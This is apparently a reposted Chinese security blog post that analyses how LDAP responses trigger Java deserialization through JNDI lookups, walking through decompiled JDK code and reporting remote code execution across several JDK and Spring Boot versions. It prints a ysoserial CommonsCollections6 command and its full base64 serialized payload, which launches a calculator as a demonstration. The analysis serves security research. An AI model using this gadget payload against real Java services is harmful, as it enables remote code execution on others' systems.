关于LDAP反序列化的利用浅析

admin 2024年5月19日02:03:43评论18 views字数 6029阅读20分5秒阅读模式

免费&进群

关于LDAP反序列化的利用浅析
关于LDAP反序列化的利用浅析

0x00 前言

由于想要JNDI注入使用RMI协议其实存在一定的限制条件比如高版本设置了trustURLCodebase,虽然可以通过BeanFactory来加载EL表达式的方式来RCE,但是其实Tomcat在高版本也存在了限制,这种方式也就无法利用了,于是想到其实还存在LDAP反序列化的漏洞,可以尝试利用一下。

这里我选择了JDK8u111 & Springboot2.5.13版本来首先测试一下简单的JNDI注入的RCE的利用链。

0x01 JNDI注入

这里就是基础的log4j2 RCE的基础利用链了,可以看到熟悉的JndiManager.lookup()

关于LDAP反序列化的利用浅析

这里是直接加载了RCE的恶意类,所以我们可以看到程序栈中是

ComponentContext#p_lookup-->LdapCtx#c_lookup-->DirectoryManager#getObjectInstance

这不是反序列化的利用链其实。

0x02 LDAP反序列化

其实在LdapCtx#c_lookup中存在Obj.decodeObject()方法,这里是反序列化的入口

protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
var2.setError(this, var1);
Object var3 = null;

Object var4;
try {
SearchControls var22 = new SearchControls();
var22.setSearchScope(0);
var22.setReturningAttributes((String[])null);
var22.setReturningObjFlag(true);
LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
this.respCtls = var23.resControls;
if (var23.status != 0) {
this.processReturnCode(var23, var1);
}

if (var23.entries != null && var23.entries.size() == 1) {
LdapEntry var25 = (LdapEntry)var23.entries.elementAt(0);
var4 = var25.attributes;
Vector var8 = var25.respCtls;
if (var8 != null) {
appendVector(this.respCtls, var8);
}
} else {
var4 = new BasicAttributes(true);
}

if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
//这里是反序列化的入口
var3 = Obj.decodeObject((Attributes)var4);
}

if (var3 == null) {
var3 = new LdapCtx(this, this.fullyQualifiedName(var1));
}
} catch (LdapReferralException var20) {
LdapReferralException var5 = var20;
if (this.handleReferrals == 2) {
throw var2.fillInException(var20);
}

while(true) {
LdapReferralContext var6 = (LdapReferralContext)var5.getReferralContext(this.envprops, this.bindCtls);

try {
Object var7 = var6.lookup(var1);
return var7;
} catch (LdapReferralException var18) {
var5 = var18;
} finally {
var6.close();
}
}
} catch (NamingException var21) {
throw var2.fillInException(var21);
}

try {
return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
} catch (NamingException var16) {
throw var2.fillInException(var16);
} catch (Exception var17) {
NamingException var24 = new NamingException("problem generating object using object factory");
var24.setRootCause(var17);
throw var2.fillInException(var24);
}
}

decodeObject中的代码如下

static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
//如果想要触发反序列化就要进入到这个if判断中
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}

如图所示,var0就是我们的入参其中是objectclass等等内容

关于LDAP反序列化的利用浅析

然后想要从var0中获取JAVA_ATTRIBUTES[1],该属性的内容就是javaSerializedData

关于LDAP反序列化的利用浅析

但是这样明显可以看出我们的var0中并没有该属性(因为这里是直接加在恶意类,并不是获取一个序列化之后的恶意类),所以一定是无法进入这个if判断的。于是我们就要新建一个LDAP服务来提供一个序列化之后的恶意类。只是反序列化漏洞需要的环境是本次存在对应的依赖。

首先要搭建一个LDAP的恶意服务端,服务端返回的是恶意的Java序列化之后的数据,这里我选择使用CC6的利用链,先生成一下

$ > java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 'open -a Calculator' |base64 

rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABJvcGVuIC1hIENhbGN1bGF0b3J0AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==

搭建服务端的话这里参考了大佬的项目

关于LDAP反序列化的利用浅析

首先看一下效果肯定是可以直接RCE的。

关于LDAP反序列化的利用浅析

版本测试

JDK版本 SpingBoot版本 Tomcat版本 RCE
JDK8u111 2.5.13 Apache Tomcat/9.0.62]
JDK8u361 2.5.13 Apache Tomcat/9.0.62]
JDK8u361 2.7.14 Apache Tomcat/9.0.78

很好,其实只要本地存在依赖的话就是全版本的RCE了。下面来分析一下反序列化的利用原因

首先还是到decodeObject()函数的时候,这里一定是可以进入这个if判断了

关于LDAP反序列化的利用浅析

之后我们跟进deserializeObject()方法中,代码如下

private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
try {
//var0中就是传入的Java序列化对象中javaSerializedData对应的value,其实也就是字节码
//var1根据我的调试是TomcatEmbeddedWebappClassLoader
ByteArrayInputStream var2 = new ByteArrayInputStream(var0);

try {
Object var20 = var1 == null ? new ObjectInputStream(var2) : new LoaderInputStream(var2, var1);
//这里就将var20给声明了
Throwable var21 = null;

Object var5;
try {
var5 = ((ObjectInputStream)var20).readObject();
} catch (Throwable var16) {
var21 = var16;
throw var16;
} finally {
if (var20 != null) {
if (var21 != null) {
try {
((ObjectInputStream)var20).close();
} catch (Throwable var15) {
var21.addSuppressed(var15);
}
} else {
((ObjectInputStream)var20).close();
}
}

}

return var5;
} /*

code*/
}

入口函数就是deserializeObject(),其实再往后分析会变成CC6的分析。 后续再继续更新CC6的内容吧。

原文地址: https://xz.aliyun.com/t/12835

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。

原文始发于微信公众号(白帽子左一):关于LDAP反序列化的利用浅析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月19日02:03:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   关于LDAP反序列化的利用浅析https://cn-sec.com/archives/2033199.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息